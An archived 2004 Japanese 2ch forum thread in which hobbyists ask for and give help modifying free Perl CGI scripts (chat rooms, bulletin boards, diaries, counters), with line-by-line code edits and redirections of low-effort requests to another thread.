★三 【 スクリプト改造工房 PART 8 】 ★三at PHP
★三 【 スクリプト改造工房 PART 8 】 ★三 - 暇つぶし2ch1:sage
04/02/23 17:36
#================================
# スレッドの説明
#================================

「スクリプトを改造したいけどやりかたわかんないよー」という人がいましたら
ここで聞いてください。ひょっとしたらアドバイス出来るかもしれません。

質問するときは以下の点に注意して書いて下さい

(1) そのスクリプトの内容と置いてある場所を明記する (txtファイルでUPすればなお良い)
(2) どんな風に改造して欲しいのか? (完成イメージHTMLを用意すればなお良し)
(3) 出来るだけ詳しく書くこと。少しは自分で考えること。できれば御礼も言ったほうが良い

※答えてくれないからといって逆ギレする厨はお断り

前スレ スレリンク(php板)

2:nobodyさん
04/02/23 18:00 iOZm8gAB
こんにちは。宜しくお願いします。
早速ですが、upppuでリモートホストとIPアドレスを表示させたいのですが、どのようにすればいいのでしょうか…。
教えてください。お願いします。

サンプル:URLリンク(stars.web-zz.com)<)

3:199☆
04/02/23 18:10
PART8ができているんでこちらでも質問させてもらいます。
改造質問です。KENTさんで配布されている
URLリンク(www.kent-web.com)【COMCHAT
に「称号」をつけたいんです。
入室のところにinputで自分で考えた称号を打ち込ませ、入室し、
発言する時に自分の名前の前に「称号」を入れたいんです。

つまり、名前「テスト」称号「最強の」ってやり入室したら
最強のテスト>こん

できれば入室してからでも称号は変更できるようになっていればうれしいです。
クッキー処理はなくてもかまいません。
わかる方よろしくおねがいします。
URLリンク(www.kent-web.com)
↑COMCHAT


4:nobodyさん
04/02/23 19:36 wQRIDR7L
>>2
HOSTだけなら679行目を
print "  -- $dt..No.\[$no2\]</font>  ";

print "  -- $dt..No.\[$no2\]<br><small>HOST:[$hst]</small></font>  ";
IPはログに記録されてないので省略。

5:超初心者
04/02/23 21:08
>>3
141行目付近を
($cnam,$ccla,$ceml,$ccol,$cret,$clin) = &get_cookie;
151行目付近を
<frame name="form" src="$script?mode=form&nam=$cnam&cla=$ccla&eml=$ceml&col=$ccol&retime=$cret&line=$clin">
194行目付近を
<b>称号</b> <input type=text name=class size=25 value="$in{'cla'}"><br>
254行目付近を
&set_cookie($in{'name'},$in{'class'},$in{'email'},$in{'color'},$in{'retime'},$in{'line'});
285行目付近を
称号<input type=text size=10 name=class value="$in{'class'}">名前<font color="$in{'color'}"><b>$in{'name'}</b></font>
397行目付近を
if ($in{'email'} eq "") { $name = "$pointer <b>[$in{'class'}]$in{'name'}</b>"; }
に変更してください。
プログラム初めて浅いので上手く動くかわかりませんが。

6:超初心者
04/02/23 21:10
・・・一つ追加。
398行目付近を
else { $name = "<a href=\"mailto:$in{'email'}\">$pointer</a> <b>[$in{'class'}]$in{'name'}</b>"; }
にしてください。

7:2
04/02/23 23:40
>>4
有難う御座いました。正常に動作しました。

8:199☆
04/02/24 00:20
>>5
CGIの筆記ミスがでました。
もう一度やり直してみます。

9:nobodyさん
04/02/24 19:43
丸投げスレでスレ違いと言われたのでこちらで投稿します。

DokiDoki PHPというサイトのDokiDoki BBSを、
返信が着いた記事が一番上にくるようにしたいんです。
どなたかお願いします!

10:nobodyさん
04/02/25 04:06
>>9

>1を読んだか?


11:nobodyさん
04/02/25 12:56
>>10
読みましたが。。。何かまずかったですか?
自分でいじるとエラーでまくりで混乱してしまったので
もう一度ダウンロードして最初の状態から教えていただこうかと思ったんですが。。。

12:nobodyさん
04/02/25 15:23
>>11
読むだけじゃダメでしょ。
理解して実行しなさい。

13:nobodyさん
04/02/25 15:30
>>12
なんだかお父さんに怒られてるような気分になってきました。。。
ちなみに、そのスクリプトの配布サイトは
URLリンク(dokidoki.lantecweb.net)
です。


14:nobodyさん
04/02/25 15:37
俺は>>12とは違うのだけど一言だけ。

>>9=>>11=>>13
ちょっと丸投げスレを見てきたんだが貴方は>>91の人だよね?
貴方の場合には確実に丸投げなので丸投げスレで良いんだよ。
丸投げスレ>>90の人の場合にはある程度頑張った後があるのでこのスレでいいわけ。
ちなみにその人は前スレの方に書き込んでいたみたいだけど。

ということで・・・
丸投げスレの>>1をよく読んでそのフォーマットに従って依頼してみなよ。
改造してくれる人がいるかも、と書いてある通り改造してくれるとは限らないけどね。

ただし貴方に多少なりともスクリプトの知識があり、
改造を試みた結果できないというのならこのスレで聞いても良いと思う。
その場合にはある程度の努力の跡を示せないと誰も協力してくれないと思うよ。
あくまでもこのスレは丸投げではない人用のスレだから。

15:199☆
04/02/25 17:43
>>3 のことです。
チャット自体を変更してみました。
ひとまずテキストファイルでアド出します。
URLリンク(nagoya.cool.ne.jp)
↑が元の奴です。
↓が改造バンです。
URLリンク(nagoya.cool.ne.jp)

まず入室画面に称号を作りました。
429行目当たり
b>称号</b> input type=text name=syougou size=25 value="$c_syougou">
を追加。

次ぎに入室後確認できるように追加
554行目あたり
b>称号</b>:font color="$in{'color'}">b>$syougou</b>/font>

次ぎに記事表示部の部分に追加
774行目当たり
print "hr font color=\"\" size=\"\">$name font color=\"\" size=\"\">$syougou /font> ⇒
</font> font color=\"$color1\" size=\"$size\">$comment</font> ";
$syougouを追加

16:199☆
04/02/25 17:44
改行が多いってつっこまれました。

最期にデコート処理の部分
1111行目あたりに
$syougou =$in{'syougou'};
追加しました。

コレで入室の場面で打った称号が反映されたのはいいんですが
どうやら、自分しかわからないみたいで、ROMやほかの入室者からは見えないようです。
それと称号が全てのかきこみに反映されてしまい
「管理人」という称号で入室した場合、
モナ子管理人>こんちにわ
モナ男管理人>おっす
MASTER管理人>nameさんが入室しました。

↑みたいに全てに反映されてしまいます。
気合でがんばってみました。わかる方アドバイスお願いします。


17:nobodyさん
04/02/25 18:40
・元見ずに返信
ログに称号出力してないように見える。

18:nobodyさん
04/02/25 18:43
>>14
ご親切なアドバイスありがとうございます。
あなたのように優しく言ってくれる方がいるとほっとします。。。

19:nobodyさん
04/02/26 15:32 dCv7l6ZO
>119
comchatは良く知らない初心者なのだが。。。
ログ出力部分に

if($syogou){
$name = "$suogou$name";
}

なんかを追加してみるとか?
自信ないので違ってたらすまソ

20:nobodyさん
04/02/26 15:41 mjHSy1U0
else {
  &error('アクセスは禁止ずら~','');

’’の間のテキストをprintで出力したいんですけど

21:nobodyさん
04/02/26 17:09
こんにちは、こちらで質問するときは、無料のスクリプトにかぎるのかな?
有料スクリプトの改造で、作者が改造不可なんですが、
他に聞けるところがないんですが、ここで教えてもらえるのかな。。。。

22:nobodyさん
04/02/26 18:32
>>21
バカですか?

23:nobodyさん
04/02/26 18:35
>>21
作者が使用者に対し改造不可と言ってるのか?
作者が自分自身では改造しないと言っているのか?

後者ならまあ・・・だが、前者ならちょっとな。
それでもスクリプトと仕様書と対価とメアドを晒してくれれば、ゴニョゴニョだな。


24:nobodyさん
04/02/26 19:03
>>21
>(1) そのスクリプトの内容と置いてある場所を明記する

オマエみたいな奴がいるからこういう決まりになってんだよ!

25:nobodyさん
04/02/26 19:19 JlSrWEme
宜しくおねがいします。

すえぽんサイトさん
(topページ:URLリンク(suepon.com))
の、cgiスクリプトマーケットで配布されている
A-Nicky v.1.11
(配布ページ:URLリンク(cgiscriptmarket.com) の中央やや下あたり)
(サンプル:URLリンク(cgiscriptmarket.com))
の改造についてアドバイスをいただきたく投稿させて頂きました。

スクリプトはこちらです(txt形式でアップしました)
URLリンク(www.geocities.jp)
#--------------------------------------#
投稿はPCからのみでいいのですが、投稿された記事と写真を携帯電話でも閲覧できるようにしたいんです。
そのため、カレンダー部分はPC用として、サブモードである「mode=view_all」(カレンダーじゃなく、記事一覧を羅列表示する画面)を携帯用にしようと思いまして、
ソース内 sub view_all に書かれたテーブルやスタイルシートなどの携帯端末に不向きなソースを削除したまではいいのですが、
結局この「mode=view_all」画面から記事表示画面に飛ぶとPCユーザーと同じ表示画面(テーブル・CSSの使われた画面)が表示されてしまうのを防ぐお知恵をお借りしたいのです。
で、たぶんこの記事表示画面はソース内 sub data_view で定義されてると思うのですが、ここの「dataファイルから記事文を、imageファイルから画像を取ってくる処理」に、
「それを簡単な(テーブルやCSSを使っていない)HTMLページ(こんな感じURLリンク(www.geocities.jp))に表示する処理」を付け加えても一つ新たなサブルーチンを付け足す・・・
みたいなやり方でやってみてもどうにもうまくいきません・・・

26:25
04/02/26 19:20 JlSrWEme
その他に変えるべき場所は190行目前後あたりの
if ($in{'mode'} eq 'regist') { ®ist; }
elsif ($in{'delete'}) { &delete; }
elsif ($in{'data'} || $in{'write'}) { &data_view; }
elsif ($in{'mode'} eq 'view_all') { &view_all; }
ここに新たに作ったルーチンを加えて、
sub view_all内706行目あたりの
print "<tr><td align=right>$c.</td><td><br></td><td><a href='$script?data=$dir[$_]&",time,"'>$file_inf</a></td>";
これの飛ばし先を変更
という感じで良いのでしょうか・・・

一応、自分でやってみたのはこんな感じです・・・
URLリンク(www.geocities.jp)
(sub data2_viewを付け足しました)
view_all画面から飛んだ時に、data_viewではなくこのdata2_viewの処理に基づいて日記文と画像を表示させたいんです。
知識がないもので根本的に間違っているかもしれませんが、もしお時間のある方いらっしゃいましたらアドバイスいただけませんでしょうか。
宜しくお願いします。
長文、連投すみませんでした。


27:nobodyさん
04/02/26 19:35
>20
ここは質問スレではない。
っつうかそれはperlの入門書なり入門サイトを読めば絶対載ってるはず。

28:nobodyさん
04/02/26 23:50 YTMvnmR1
失礼します。
THE ROOMさんで配布されているPower Searchを改造しています。
同一URLで配布している別作品でも登録できるようURLチェックを潰しました。
でも配布元さんのサポートのログに「URLチェックを外すと問題があるので外すな」
ということが書かれてて、そいでちょっと不安になりまして…
どなたか何か致命的なことやってないかチェックして頂けませんか。
よろしくお願いします。

多分その「問題」っていうのは、
ランキングのポイントをURLごとに記録してるので
同一URLでたくさん登録してあるところはポイントが凄く高くなってしまう、
ということだと思うんですが…
変わりに違う項目でポイントを記録しておきたいんですが
それもどうしたらいいでしょうか。

THE ROOM URLリンク(dream.lib.net)
配布ページ URLリンク(dream.lib.net)
改造後txt URLリンク(ukigumo.web-zz.com)

えっと。書き替えた行はその後に書き替え前をそのままコメントアウトしてあります。
潰した部分は「#潰す」という行を付け足してコメントアウトしてます。
追加した部分は後ろに「#追加」とつけてあります。

29:nobodyさん
04/03/01 23:01 DmOCsz42
KENTで配布されている【Web Protect】URLリンク(www.kent-web.com)
でバイナリーファイルのプロテクトができるGIF、JPEG、PDF、EXCELの他にZIPも対応させたく
>} elsif ($in{'zip'}) {
>$in{'zip'} =~ s/\W//g;
>$file = "$in{'zip'}\.xls";
>$head = "application/x-zip-compressed";
などを追加して↓のように改造をして、
URLリンク(cgi-test-web.hp.infoseek.co.jp)
<a href="http://~~/protect.cgi?zip=xxx">xxx.zip</a>でZIPのDLできるようにしたのですが、
空の0byteのファイルがDLされてしまいました。どうやれば旨くZIPをDLさせることができますか?
↓が元のファイルです。
URLリンク(cgi-test-web.hp.infoseek.co.jp)

30:nobodyさん
04/03/02 08:55 StLMahzN
>>29
拡張子がxlsになってる

31:29
04/03/02 16:30
>>30
xlsをzipに直したら旨くできました。つまらないミスすいません。。
5MBのファイルまでは旨くDLできましたが、それ以上の大きいファイルになると
前と同じく空の0byteのファイルがDLされてしまいました。
これはCGIプログラムとサーバ側のどちらに問題があるのでしょうか?

32:nobodyさん
04/03/02 21:11
そういう設定になってるってオチは?

33:29
04/03/02 23:12
そういう設定というのはサーバの設定のことですか?
サーバのことでしたら自宅サーバではないので手の打ちようがありません
CGIにはDLサイズをいじる設定はなかったと思います。

34:nobodyさん
04/03/03 10:47 kw2vQvgr
すいません!
じゃわさんの所で配付されている
AnsQの改造をお願いしたいです!!
↓にtxtを用意しました。よろしくお願いします!!

URLリンク(www.geocities.co.jp)

35:nobodyさん
04/03/03 10:50
>>34
丸投げ逝け

36:nobodyさん
04/03/03 22:23


37:nobodyさん
04/03/03 22:29 NJwjoe2I


38:nobodyさん
04/03/04 00:08
>>35
了解しました!

39:nobodyさん
04/03/07 19:36
URLリンク(www.akiyan.com) の蓄々一行掲示板v2を改造していただけますか。
URLリンク(tdkz.s55.xrea.com)が完成イメージで、
日記のタイトルをクリックすると、感想を書き込むような風にしたいんです。
今はUnico diaryを使っています。Unico diaryにこの機能を付けるような事がしたいのですが……

40:nobodyさん
04/03/07 20:10
>>39
丸投げスレ逝け

41:nobodyさん
04/03/10 15:49 bqGiGoNX
まるなげです。お願いいたします。
掲示板のCGIなんですが、普通の掲示板と違ってフォルダわけされた・・みたいな
ツリーのレスが見えない表示で、題名を押すとその記事が見れるやつです。
KENTのやつでいうと「web patio」とかいうやつです。(中身は違いますが)

URLリンク(www.geocities.jp)

にUPしたんですが、返信の記事が新しいものほど上に表示されるようにして
いただきたいんです。
よろしくお願いいたします。。

42:nobodyさん
04/03/10 16:44
>>41
マルチ氏ね。

スレリンク(php板:182-186番)

43:nobodyさん
04/03/11 22:01 g5ikSB4U
28です。自己解決しました。
失礼しましたー。

44: ◆WsYW3j0lSg
04/03/12 23:51
皆様、初めまして。
KENT WEBさんの「WebPatio」についてですが、親記事コメント入力文字数の「最小制限」をしたいのです。

「最大制限」は、最初からの機能の

# コメント文字数チェック最大
if (length($in{'comment'}) > $max_msg*2) {
&error("文字数オーバーです。<br>全角$max_msg文字以内で記述してください");
}

これでできているので、私はそれを真似して

# コメント文字数チェック最小
if (length($in{'comment'}) < $min_msg*2) {
&error("文字数が少なすぎます。<br>全角$min_msg文字以上記述してください");
}

こうしました。
すると親記事のコメント文字数だけでなく返信記事のコメント文字数までもまとめて制限されてしまいました。
コメント文字数制限を、親記事に対してのみ、かけるにはどのように改造すれば宜しいでしょうか?
ご教授の程、宜しくお願い致します。


45:nobodyさん
04/03/13 00:06
>>44
sub regist の63行目からにある if ($in{'res'} eq "") { が真なら新規スレッド
みたいだからこれでいけないか?試してないが

if (length($in{'comment'}) < $min_msg*2 && $in{'res'} eq "") {

46: ◆WsYW3j0lSg
04/03/13 00:25
>>45
ご教授感謝致します。試してみた所ちゃんと動きました。本当に有り難う御座いました!


47:nobodyさん
04/03/16 20:01
誘導されてきました・・・・。(´・ω・`)



仲間内でやってるサイトに日記を置きたいのですが、いろいろ見て周ってはいるものの、これだってCGIに巡り合えません。
要望としては、
●1つの日記に画像を複数枚(最低5枚)アップ可能。
●日記本文中に画像を張る位置をある程度指定できるもの。
●複数人で使う為、同じ日の日記が複数作成可能であること。
●ただし、書くことが可能なメンバーをパスワードで制限できること。
●フレーム内設置の為、無駄な装飾の無いもの。
●フレーム周りに同化させるために、色の変更などが設定出来るもの。
●フレーム内設置の為、大きな画像は自動的に縮小表示してくれるもの。
●月毎にログをまとめて、過去ログの読みやすいもの。
ってとこです。

CGIサイト等をいろいろ周って見た結果、、
URLリンク(www.nyats.com)
こちらにある、『なんちてBLOG』が無駄な装飾も少なく、シンプルで要望に近い機能を持っていました。
このCGIに、
●画像アップ数増加
●画像の自動縮小表示
●生成されるHTMLが可能な限り、Google等の検索に引っかからない。
の3つの機能を付加したいのですが、プログラミング知識に乏しく難航しています。
画像アップ数増加はなんとか出来たのですが、設置時にフレーム内に表示させたい為に、画像縮小の機能を付加したいわけです。

例えば、HTML生成の時に画像の幅が450以上の場合は450に縮小表示して、クリックで元の画像サイズでも見れるようにしたいのです。

上記の機能を実現できるようなアドバイスを、どうかよろしくお願いします。

48:nobodyさん
04/03/16 20:19
>>47
直球で質問するから、正直にこたえて欲しい。
ここでアドバイスをもらったとして、自分の実力でそれをスクリプトに組み込む自信はある?
もし、あるなら>>1をしっかり理解した上で読み込んでもう一度質問を。
ないならば、丸投げスレに行ってくれ。


49:nobodyさん
04/03/16 20:35
>>47
> ●生成されるHTMLが可能な限り、Google等の検索に引っかからない。
これは板違いだからな。

50:nobodyさん
04/03/16 20:51
>>48の質問に>>47の回答が来てからでよかったのだが。
私の経験からちょっと一言二言…
●画像アップ数増加
画像は一枚ずつUPするように設計した方が良いと思う。
submit一回で複数枚の画像をUPしたら、タイムアウトって事があった私のスク。

●画像の自動縮小表示
設置するサーバはImage::Magickは使えるの?
使えるなら画像をUPしたときについでにサムネイルを作っておけば、タグで縮小表示することもないよ。

両方ともそんなに難しくないから、教えてくれる香具師はいると思われ。

51:47
04/03/16 20:52
>48
プログラミング経験は無いですから、自身のある無いは判断しかねます。
どこのスレに質問していいかわからずに、誘導されてここで3スレ目なので、
とりあえず自分の頭にある範囲で、もう少し詳しく書きますので、移動するべきか判断願います。
HTMLのタグなんかは、調べながらでもなんとかなるのですが、多分私の要求だと、Ifで分岐とかさせないと駄目ですよね?
そうなると、perlの知識とかが無いので、辛いわけです。
ですので、何行目にこのソースを組み込めとか、そういったアドバイスがいただければ、とりあえずはなんとかなると思います。

検索エンジンについては、METAタグにNO ROBOTとか、その程度で大丈夫なのか不安なものですから、CGIで何か回避策があるとか、
そういったアドバイスをいただけたらと思ったわけです。


52:47
04/03/16 20:57
>48
ありがとうございます。
画像アップ数の件については、TRY&ERR繰り返して、現在仮設置でテストした段階ではうまく動作してますので、大丈夫だと思います。

自動縮小の件については、”Image::Magick”というものがわからないので、今夜にでも調べておきます。
一応、絵日記ですので、範囲内の画像はそのままで表示したいというのと、サーバ容量節約の意味もあり、
サムネイルを別に生成するということなら、避けたいかなと現段階では思っております。

53:47
04/03/16 20:58

48さんじゃなくて、>50さんでした。
すんません。

54:nobodyさん
04/03/16 21:14
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板)l50

【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板)l50

上記2つの改造スレの棲み分けについて。

> 何行目にこのソースを組み込めとか、そういったアドバイスがいただければ
これを望んでいるのなら、丸投げスレです。

55:47
04/03/16 21:18
わかりました、4スレ目いってきます・・。(´・ω・`)

56:nobodyさん
04/03/18 14:02 PjZX6E/F
すいません おしえてください。
掲示板CGIで
print "$data->[4]/$data->[5]\n";
というラインで
ログデータから日付と時刻を取得し表示しているんですが、
この表示結果は
2004/03/18/09:11:57
という表示形式で表示されるのですが、
これを
3/18 09:11
にするにはどうしたら良いのでしょうか?
VBでいう所のFormatみたいな関数があるんでしょうか?


57:nobodyさん
04/03/18 14:12
>>56

>>1

58:nobodyさん
04/03/18 19:45
>>56
全体晒さにゃどうにもならん。
最低でもその前後十行は必要。

59:nobodyさん
04/03/19 10:21
(1/2)こんにちは、質問いたします。
URL転送サービスを利用しようと思っているのですが、リファがうまくとれません。

URL転送サービス → フレーム式 URLリンク(www3.to)
アクセス解析 → 有限工房 アクセス解析
URLリンク(yugen.main.jp)

解析を貼る場所に、このjsをはりつけるのですが
<SCRIPT language="JavaScript">
<!--
/* efStat from YugenKoubou (URLリンク(yugen.main.jp)) */
buf = escape(parent.document.referrer);
ref = "";
for (i = 0; i < buf.length; i++) {
str = buf.charAt(i);
ref += (str == "+") ? "%2B" : str;
}
scr = screen.width+","+screen.height+","+screen.colorDepth;
document.write('<IMG SRC="./cgi-bin/fstat/fcount.cgi?LOG=index&MODE=h&DIGIT=5&FONT=fuksan&REF=',ref,'&SCR=',scr,'" width="1" height="1" border="0">');
// -->
</SCRIPT>

60:nobodyさん
04/03/19 10:23
(2/2) 私のサイトはトップページ自体がフレームということもあり、
お気楽極楽スクリプト→フレームを利用したページにアクセス解析を設置する
URLリンク(www.bayashi.net)
を参考にして、

<SCRIPT Language="JavaScript">
<!--
document.write("<frameset rows='30,*,1,'>");
document.write("<frame SRC='めにゅう.html' NAME='menu'>");
document.write("<frame SRC='とっぷぺーじ.html' NAME='page'>");
  /* efStat from YugenKoubou (URLリンク(yugen.main.jp)) */
document.write(buf = escape(parent.document.referrer));
document.write(ref = '');
for (i = 0; i < buf.length; i++) {
str = buf.charAt(i);
ref += (str == "+") ? "%2B" : str;
}
document.write(scr = screen.width+','+screen.height+','+screen.colorDepth);
document.write("<frame SRC='cgi-bin/fstat/fcount.cgi?LOG=index&DIGIT=5&REF=",ref,"&SCR=",scr,"' width='1' height='1'>");
// -->
</SCRIPT>

このようにいたしました。

ところが、いざ動かしてみると「アクセスが拒否されました」と
> document.write(buf = escape(parent.document.referrer));
ここで、エラーが出てしまいます。
※URL転送(フレーム式)を使わなければ、エラーが出ずに処理できるのですが。

きちんとリファをとる方法がわかりません。どうぞよろしくおねがいします。

61:nobodyさん
04/03/19 11:57
>>59-60

>>1

62:nobodyさん
04/03/19 15:54 SrVWHGyk
こちらの書き込みでいいのかわからないんですが、質問です。。
ページ内検索で、検索結果の表示を横1列に結果が3つ入るように
┏━┳━┳━┓
┃1┃2┃3┃
┣━╋━╋━┫
┃4┃5┃6┃
┗━┻━┻━┛
こんなかんじで表示させたいと思っています。
検索エンジンcgiや、カゴレジなどの検索結果表示を見ても
横1列に商品が一つなので参考に出来ませんでした。。
KENTにもあったのですが、いろんな機能が追加でなされているので
判断しにくくて・・・。。すいません。

どこか参考になるサイト、またはいい検索用語など
ありませんでしょうか?
どのように検索したらいいか悩んでおります。。
なにかいいアドバイスをお願い致します。

63:nobodyさん
04/03/19 16:05
>>62
<table>って知ってる?

64:62
04/03/19 16:09 SrVWHGyk
>>63
知ってます。
でも、3件で折り返す、という方法が
どうすればいいのかわからないんですが・・

65:nobodyさん
04/03/19 16:18
ここは改造スレなんだが。
自分でやる上でのアドバイスが欲しいなら>>1をよく読め。

66:62
04/03/19 16:48 SrVWHGyk
>>65さん
申し訳ないです。
URLリンク(www.geocities.jp)
にUPしてみましたが、(さらにソースで表示しないとダメみたいです・・)
上記に追加しようと思っています。

完成イメージは
URLリンク(www.geocities.jp)
見たいな感じです。。

適当で申し訳ないです。

67:nobodyさん
04/03/20 04:22 GW6tuM2Y
スイマセン質問させてください。

URLリンク(tackysroom.com)

このCGIのスケジュール帳の、開いた時に表示される月を、当月でなく
他の月(例えば今なら5月とか)にしたいのですが、どこをどう
いじればよろしいでしょうか。

諸先輩方、お教えくださいませ。

68:nobodyさん
04/03/20 11:23
>>67

>>1

69:nobodyさん
04/03/20 12:19
>>62>>66
#!/usr/local/bin/perl

use strict;
require 'cgi-lib.pl';
my $cgi = "kensaku.cgi";
my $file = "db.csv";
my %in;
&ReadParse(\%in);
print &PrintHeader();
#print &HtmlTop("");

print <<"_HTML_";
<HTML>
<HEAD>
<STYLE type="text/css">
<!--
.a{
border-width : 1px 1px 1px 1px;
border-style : solid solid solid solid;
border-color : black black black black;
}
-->
</STYLE>
</HEAD>

70:nobodyさん
04/03/20 12:21
<BODY style="padding-top : 0px;padding-left : 0px;padding-right : 0px;padding-bottom : 0px;margin-top : 0px;margin-left : 0px;margin-right : 0px;margin-bottom : 0px;">
<form action="$cgi" method="post" style="padding-top : 0px;padding-left : 0px;padding-right : 0px;padding-bottom : 0px;margin-top : 0px;margin-left : 0px;margin-right : 0px;margin-bottom : 0px;">
<input type="text" size=15 name="name">
<input type="submit" value="商品検索">
</form>
_HTML_

if ($in{'name'} ne ""){
 my $flag=0;
 my $found=0;
 open (IN,"$file") || &CgiDie ("データファイルが開けません。");
 while (<IN>){
  chomp;
  my ($name,$teika,$hanbai,$image) = split(/,/,$_);
  if ($in{'name'} eq $name){
   if ($found == 0){
    print qq(
<BR>
<TABLE border="0" cellpadding="0" cellspacing="0">
<TBODY>
);
   }
   if ($found % 3 == 0){
    print qq(
<TR>
);
   }


71:nobodyさん
04/03/20 12:22
   print qq(
<TD>
<TABLE border="0" cellpadding="3" cellspacing="0">
<TBODY>
<TR>
<TD align="center" class="a"><IMG src="image/$image.jpg" border="1"><BR>
<BR>
<B><FONT color="#666666">商品名<BR>
<BR>
</FONT></B>
<TABLE border="0">
<TBODY>
<TR>
<TD align="right">定価:</TD>
<TD>$teika</TD>
</TR>
<TR>
<TD align="right">販売価格:</TD>
<TD><FONT color="#666666">$hanbai</FONT></TD>
</TR>
</TBODY>
</TABLE>
</TD>
</TR>
</TBODY>
</TABLE>
</TD>
);


72:nobodyさん
04/03/20 12:24
   $found++;
   if ($found % 3 == 0){
    print qq(
</TR>
);
   }
   $flag=1;
  }
 }
 close (IN);
 if ($flag == 1){
  if ($found % 3 == 1){
   print qq(
<TD>
</TD>
<TD>
</TD>
</TR>
);
  }elsif ($found % 3 == 2){
   print qq(
<TD>
</TD>
</TR>
);
  }


73:nobodyさん
04/03/20 12:24
  }
print qq(
</TBODY>
</TABLE>
);
 }
 ($flag) || print "$in{'name'}はデータファイルにありませんでした。<p>\n";
}
print &HtmlBot();
exit;


74:nobodyさん
04/03/20 12:27
説明よりやったほうが早いから全部書いたけど丸投げスレのほうが良かったかも。

75:67
04/03/20 16:17 GW6tuM2Y
すいません>>67です。
再度質問です。

スクリプトはこれです。

URLリンク(hy-t.hp.infoseek.co.jp)

これだけでいいでしょうか?
よろしくご教授お願いいたします。



76:67
04/03/20 16:25 GW6tuM2Y
あ、これって丸投げ行きなんでしょうか…
スレ違いなら移動します、すいません。

77:nobodyさん
04/03/21 11:32 J3gw5AMh
62>
掲示板みたいに縦一列に吐き出す香具師でも、CSS使えば横に並べ、
指定数で折り返す事もできるよ。

#wrapper{
width: 630px;
}

#box{
float: left;
width: 200px;
margin: 10px 5px 10px 5px;
padding: 0px 0px 0px 0px;
}



<div id="wrapper">
  <div id="box">
    コンテンツ
  </div>
</div>

みたいな感じでさ。
ブラウザ選ぶかもしんないけど、漏れの環境(Win IE5 IE 5.5 IE6)
だと思うように表示されたからいいべ。

78:nobodyさん
04/03/22 07:21
皆様初めまして。

URLリンク(mo-mo.vis.ne.jp)
こちらで配布されているチャットで参加者表示の部分を
名前(状態):名前(状態)
というように状態(ROM等)を表示させたいと思っています。
$nameを参考に$conを作って試行錯誤してみたのですが
自分の入力した状態が他の方の状態にも適用されてしまいます。
名前A(状態A):名前B(状態B)としたい所が
名前A(状態A):名前B(状態A)になってしまうといった具合で。

URLリンク(www.lislis.info)
余計な部分まで触ってあるかもですが・・・。
何卒ご教授お願い致します。

79:nobodyさん
04/03/29 16:03
スクリプトを改造しているけどうまくできない場合のヘルプはこちらで。

配布先でアドバイスが得られない場合、ここで聞けば
親切な人が助言してくれるかもしれません。

依頼テンプレ

【.  CGI名  .】 複数のバージョンがある場合には正確に        (必須)
【配布先URL】 教えてくれる人が参照する場合があるので       (必須)
【. 置き場所 .】 配布先が閉鎖の場合、すぐ見られるようtxtなどで
          upした場合、 デザインをhtmlで作成した場合など  (任意)
【ヘルプ内容】 どのように改造したくてどのようにうまくできないか  (必須)
          機能・動作などを簡潔かつ詳細に

80:nobodyさん
04/03/29 17:00
>>79
改造中のスクも提出した方がいいな。

81:nobodyさん
04/03/31 19:21
【. CGI名  .】 apeboard plus.cgi      
【配布先URL】 URLリンク(www.2apes.com)
【 スキン名 】 イメージダイアリー Ver.2
【配布先URL】  URLリンク(www.s-chimp.com)
【. 置き場所 .】 URLリンク(ea.uuhp.com) (CGI)
          URLリンク(ea.uuhp.com) (スキン)
【ヘルプ内容】 過去ログを読もうとすると「/back」というファイルに飛ばされてしまい、
          読むことができません。過去ログを読むようにするには
どこを改造すればいいのでしょうか?
          スキンのデザインには多少手を入れましたが、CGIはほとんどいじってません。
          よろしくお願いします。

82:81
04/04/01 22:05
すいません解決しました…。

83:nobodyさん
04/04/07 23:29 opKZAzOm
こっちは寂れているのぅ

84:未承諾広告※ ◆TWARamEjuA
04/04/08 10:16
ま、ぼちぼちと行けばよいでしょう(^o^) マターリ

85:nobodyさん
04/04/09 22:18 47xZN9AW
【.  CGI名  .】 SmallPICT
【配布先URL】 URLリンク(hdml.cside.com)
【ヘルプ内容】 spictlog.cgiに書き込む情報を追加したいが、うまく出来ない

pc.plのsub dispForm内に<input type='text' name='kaizou'>を追加し、
smallpict.cgiのsub doWrite内に<>$kaizou<>を追加するなどして動かそうとしたんですが、
投稿画面で入力したkaizouのデータがspictlog.cgiに書き込まれません。

改造漏れがあるんだと思い探し回ってみましたが、見つけることができませんでした。
具体的にやりたいのはPC上でのアイコン表示で、手動でログに<>*.gif<>と書き込んで記事上で表示させる改造はできましたが、投稿画面のデータをうまく渡す改造ができませんでした。

よろしくお願いします。

86:nobodyさん
04/04/09 22:40 ria3nPCP
>>85
ログは<>区切りで書き込むところがあちこちあるようだけど
漏れなく全部に<>$kaizou<>を追加した?
もちろん読み込み時に<>でsplitする部分もあちこちあるから
そこにも受け取る変数を増やさなければならないが。
そういう部分はsmallpict.cgiだけじゃなくいくつものファイル内にあるぞ。

87:85
04/04/09 23:28 47xZN9AW
>>86
レスありがとうございます。

split(/<>/)とid<>で検索を掛け、引っかかった所で書き込みに関係あるところは<>$kaizou<>を追加しました。
投稿画面から投稿してFTPでログを落として書き込まれてるかを確認という方法でいじってるんですが、
$kaizouに上手くデータが渡ってないため、<><>とだけ書き込まれています。
読み込み部分はあっさり改造できたんですけどね・・・orz

88:nobodyさん
04/04/09 23:59
>>87
フォームデコード部で受けた値は$in{'kaizou'}に入るようだが、
それを$kaizouに代入してるのか?

89:85
04/04/10 00:35
sub doWrite内の
$newUpwd = $in{'upwd'};の下に
$newkaizou = $in{'kaizou'};
を書き足し、
# 親記事の場合
# レス記事の場合
の最後を
<>$UNIQUEID<>$newkaizou<>\n");
としてあります。
お手数掛けますですorm

90:nobodyさん
04/04/24 08:05
kentの夢カウンタなんですが、
URLリンク(www.kent-web.com)
時計表示という機能も付いてるんですが、
年、月、日、時、分 というデフォルト表示から
年、月、日(曜日)、時、分 に変更したいのですが、
どのようにすればよいでしょうか?
曜日表示は画像でなくてhtml出力でも構いませんので。

91:nobodyさん
04/04/25 18:20
kentのPetitBoardの携帯対応版ってありません?


92:nobodyさん
04/04/25 18:23
 

93:nobodyさん
04/04/26 00:12 WNaDiJfM
URLリンク(www.kent-web.com)

joyful.cgiの投稿画面を別のページにしたいのですが
そこで↓ここで改造版をみつけたのですが、
URLリンク(www.handley2.fsnet.co.uk)
名前欄だけを増やしたいのです。
投稿画面にも名前欄を増やし、ログにも$nameで追加したのですが
かきこまれません。

94:nobodyさん
04/04/26 01:05
>>90
